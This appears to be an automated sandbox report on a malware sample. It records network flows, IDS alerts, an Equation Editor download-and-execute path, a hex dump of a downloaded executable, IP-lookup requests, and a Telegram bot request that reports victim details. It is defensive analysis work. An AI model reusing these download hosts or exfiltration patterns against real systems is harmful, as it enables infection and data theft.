Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 192.168.2.22:49161 -> 66.63.187.123:80
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161
Source: global traffic TCP traffic: 66.63.187.123:80 -> 192.168.2.22:49161

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 66.63.187.123:80 -> 192.168.2.22:49161
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 66.63.187.123:80 -> 192.168.2.22:49161
Uses the Telegram API (likely for C&C communication)
Source: unknown DNS query: name: api.telegram.org
Yara detected Generic Downloader
Source: Yara match File source: 8.2.hgqilegacy20306.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3415480.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.hgqilegacy20306.exe.3279d40.6.raw.unpack, type: UNPACKEDPE
Contains functionality to download and execute PE files
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002ACB15 LoadLibraryW,URLDownloadToFileW,CreateProcessW,ExitProcess, 2_2_002ACB15
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 217.12.218.219:587
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Thu, 26 Sep 2024 07:19:21 GMTContent-Type: application/x-msdos-programContent-Length: 708096Connection: keep-aliveLast-Modified: Thu, 26 Sep 2024 03:39:16 GMTETag: "ace00-622fd7b9e4c97"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 fa d6 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 a8 0a 00 00 24 00 00 00 00 00 00 9e c6 0a 00 00 20 00 00 00 e0 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 40 0b 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c c6 0a 00 4f 00 00 00 00 e0 0a 00 ac 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 0b 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 a6 0a 00 00 20 00 00 00 a8 0a 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 ac 20 00 00 00 e0 0a 00 00 22 00 00 00 aa 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 0b 00 00 02 00 00 00 cc 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 c6 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 d0 59 00 00 5c 35 00 00 03 00 00 00 1e 00 00 06 2c 8f 00 00 20 37 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 7c 00 00 00 00 00 00 00 02 28 15 00 00 0a 00 00 02 03 16 9a 28 16 00 00 0a 7d 08 00 00 04 02 02 7b 08 00 00 04 28 02 00 00 06 7d 01 00 00 04 02 03 17 9a 28 17 00 00 0a 7d 02 00 00 04 02 03 18 9a 28 17 00 00 0a 7d 04 00 00 04 02 03 19 9a 28 17 00 00 0a 7d 05 00 00 04 02 03 1a 9a 28 17 00 00 0a 7d 03 00 00 04 02 03 1b 9a 28 18 00 00 0a 7d 06 00 00 04 02 03 1c 9a 28 17 00 00 0a 7d 07 00 00 04 2a 13 30 02 00 21 00 00 00 01 00 00 11 00 0f 00 28 19 00 00 0a 20 6c 07 00 00 59 20 6d 01 00 00 5a 0f 00 28 1a 00 00 0a 58 0a 2b 00 06 2a 00 00 00 13 30 05 00 6d 01 00 00 02 00 00 11 02 73 1b 00 00 0a 7d 09 00 00 04 02 20 80 96 98 00 7d 0a 00 00 04 02 23 00 00 00 00 d0 12 63 41 7d 0b 00 00 04 02 20 80 69 67 ff 7d 0c 00 00 04 02 23 00 00 00 00 d0 12 63 c1 7d 0d 00 00 04 02 20 0f 27 00 00 17 17 73 1c 00 00 0a 7d 0e 00 00 04 02 17 17 17 73 1c 00 00 0a 7d 0f 00 00 04 02 16 7d 10 00 00 04 02 16 7d 11 00 00 04 02 28 15 00 00 0a 00 00 03 28 1d 00
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:358075%0D%0ADate%20and%20Time:%209/26/2024%20/%206:20:30%20PM%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20358075%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 132.226.8.169 132.226.8.169
Source: Joe Sandbox View IP Address: 149.154.167.220 149.154.167.220
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: ITLDC-NLUA ITLDC-NLUA
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: 05af1f5ca1b87cc9cc9b25185115607d
Source: Joe Sandbox View JA3 fingerprint: 36f7277af969a6947a61ae0b815907a1
May check the online IP address of the machine
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: checkip.dyndns.org
Source: C:\Users\user\AppData\Roaming\hgqilegacy20306.exe DNS query: name: reallyfreegeoip.org
Suricata IDS alerts with low severity for network traffic
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49162 -> 193.122.130.0:80
Source: Network traffic Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.22:49165 -> 132.226.247.73:80
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49170 -> 188.114.96.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49164 -> 188.114.97.3:443
Source: Network traffic Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.22:49166 -> 188.114.96.3:443
Uses SMTP (mail sending)
Source: global traffic TCP traffic: 192.168.2.22:49180 -> 217.12.218.219:587
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/XcsQpLjhNNvxYtrw.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 66.63.187.123Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
